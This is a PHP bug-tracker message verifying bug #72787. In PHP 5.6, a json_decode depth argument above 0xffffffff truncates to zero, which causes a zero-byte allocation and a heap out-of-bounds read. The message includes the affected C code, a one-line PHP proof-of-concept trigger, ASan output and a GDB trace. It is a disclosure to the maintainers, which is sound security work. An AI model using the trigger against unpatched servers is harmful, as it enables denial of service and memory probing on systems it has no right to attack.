Bug #72787 [Opn->Ver]: json_decode reads out of bounds
| From: | cmb@php.net | Date: | Mon, 08 Aug 2016 21:52:15 +0000 |
| Subject: | Bug #72787 [Opn->Ver]: json_decode reads out of bounds | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-203100@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72787&edit=1
ID: 72787
Updated by: cmb@php.net
Reported by: fernando at null-life dot com
Summary: json_decode reads out of bounds
-Status: Open
+Status: Verified
Type: Bug
Package: JSON related
Operating System: Linux x86_64
PHP Version: 5.6.24
Block user comment: N
Private report: N
New Comment:
I can confirm the issue checking with valgrind.
Previous Comments:
------------------------------------------------------------------------
[2016-08-08 19:33:39] fernando at null-life dot com
Description:
------------
When depth parameter is greater than 0xffffffff, cast to int (32 bytes) happen. Moreover, if last
four bytes of depth parameter are 0x0, then new_JSON_parser function allocates 0 bytes. Later,
parse_JSON_ex reads out of bounds.
Source code:
https://github.com/php/php-src/blob/PHP-5.6.25/ext/json/JSON_parser.c#L249
JSON_parser
new_JSON_parser(int depth)
{
JSON_parser jp = (JSON_parser)emalloc(sizeof(struct JSON_parser_struct));
jp->state = GO;
jp->depth = depth;
jp->top = -1;
jp->error_code = PHP_JSON_ERROR_NONE;
jp->stack = (int*)ecalloc(depth, sizeof(int)); // depth = 0
if (depth > JSON_PARSER_DEFAULT_DEPTH) {
jp->the_zstack = (zval **)safe_emalloc(depth, sizeof(zval), 0);
} else {
jp->the_zstack = &jp->the_static_zstack[0];
}
push(jp, MODE_DONE);
return jp;
}
Test script:
---------------
poc.php
<?php
json_decode('""', false, 0x100000000);
Expected result:
----------------
No crash
Actual result:
--------------
ASan output:
==8971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ff10 at pc 0x000000bc1e79
bp 0x7ffd151ad790 sp 0x7ffd151ad780
READ of size 4 at 0x60200000ff10 thread T0
#0 0xbc1e78 in parse_JSON_ex /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655
#1 0xbb4a3a in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:709
#2 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
#3 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#9 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#10 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)
0x60200000ff11 is located 0 bytes to the right of 1-byte region [0x60200000ff10,0x60200000ff11)
allocated by thread T0 here:
#0 0x7f16402df602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x17fcf69 in _ecalloc /home/operac/build2/php-src-56/Zend/zend_alloc.c:2610
#2 0xbbbb4c in new_JSON_parser /home/operac/build2/php-src-56/ext/json/JSON_parser.c:249
#3 0xbb4a10 in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:708
#4 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
#5 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#6 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#7 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#8 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#9 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#10 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#11 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 parse_JSON_ex
...
GDB output:
USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build2/bin/php -n poc.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build2/bin/php...done.
gdb-peda$ b json.c:708
Breakpoint 2 at 0xbb4a09: file /home/operac/build2/php-src-56/ext/json/json.c, line 708.
gdb-peda$ b new_JSON_parser
Breakpoint 3 at 0xbbb930: file /home/operac/build2/php-src-56/ext/json/JSON_parser.c, line 243.
gdb-peda$ r
...
Breakpoint 2, php_json_decode_ex (return_value=return_value@entry=0x60300004cd50, str=0x7ffff7e683a8
"\"\"", str_len=0x2, options=<optimized out>, depth=0x100000000) at
/home/operac/build2/php-src-56/ext/json/json.c:708
708 jp = new_JSON_parser(depth);
gdb-peda$ p depth
$1 = 0x100000000
gdb-peda$ c
Continuing.
...
Breakpoint 3, new_JSON_parser (depth=depth@entry=0x0) at
/home/operac/build2/php-src-56/ext/json/JSON_parser.c:243
243 {
gdb-peda$ p depth
$2 = 0x0 // Cast to 32bits
gdb-peda$ b _ecalloc
Breakpoint 4 at 0x17fce90: file /home/operac/build2/php-src-56/Zend/zend_alloc.c, line 2603.
gdb-peda$ c
...
Breakpoint 4, _ecalloc (nmemb=nmemb@entry=0x0, size=size@entry=0x4,
__zend_filename=__zend_filename@entry=0x21ad500
"/home/operac/build2/php-src-56/ext/json/JSON_parser.c",
__zend_lineno=__zend_lineno@entry=0xf9,
__zend_orig_filename=__zend_orig_filename@entry=0x0,
__zend_orig_lineno=__zend_orig_lineno@entry=0x0) at
/home/operac/build2/php-src-56/Zend/zend_alloc.c:2603
2603 {
gdb-peda$ p nmemb
$3 = 0x0 // Allocate 0 bytes
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72787&edit=1